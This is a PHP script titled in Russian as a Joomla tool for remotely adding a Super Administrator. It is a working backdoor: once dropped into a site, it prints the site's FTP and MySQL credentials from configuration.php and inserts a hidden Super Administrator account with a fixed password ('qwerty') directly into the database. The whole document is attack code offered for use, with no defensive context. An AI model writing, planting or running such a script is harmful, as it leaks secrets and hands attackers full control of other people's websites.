JExp 0.1 : Joomla — безопасность. Удаленное добаление Super Administrator

<?php

if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {

   include "configuration.php";

   $exp = new JConfig();

   function PrintParam($arg) {

      global $exp;

      $arg_ans = $exp->$arg;

      print("<b>".$arg.":&nbsp;</b>".$arg_ans."<br/>");

   }

   echo "<h3>ftp confuguration</h3>";

   PrintParam('ftp_host');

   PrintParam('ftp_user');

   PrintParam('ftp_pass');

   echo "<h3>mysql configuration</h3>";

   PrintParam('host');

   PrintParam('user');

   PrintParam('db');

   PrintParam('password');

   PrintParam('dbprefix');

   echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";

   if ($_POST['au'] != null) {

      $connect = mysql_connect($exp->host, $exp->user, $exp->password);

      $db_select = mysql_select_db($exp->db, $connect);

      $new_username = "username02";

      $new_fullname = "UserName";

      $new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";

      $add_query = "INSERT INTO jos_users

         (name, username, email, password, usertype, block, sendEmail, gid, registerDate)

         VALUES

         ('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())";

      $add_action = mysql_query($add_query, $connect);

      $jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";

      $jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);

      $jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);

      $jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];

      $jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES

      ('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')";

      $jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);

      $jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";

      $jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);

      $jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);

      $jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];

      $jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES

      ('25', '".$jos_core_acl_groups_aro_map_ID."')";

      $jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);

      echo "added superadmin - ".$new_username.":qwerty";

   }

}

else {

   echo "unauthorized access!";

}

?>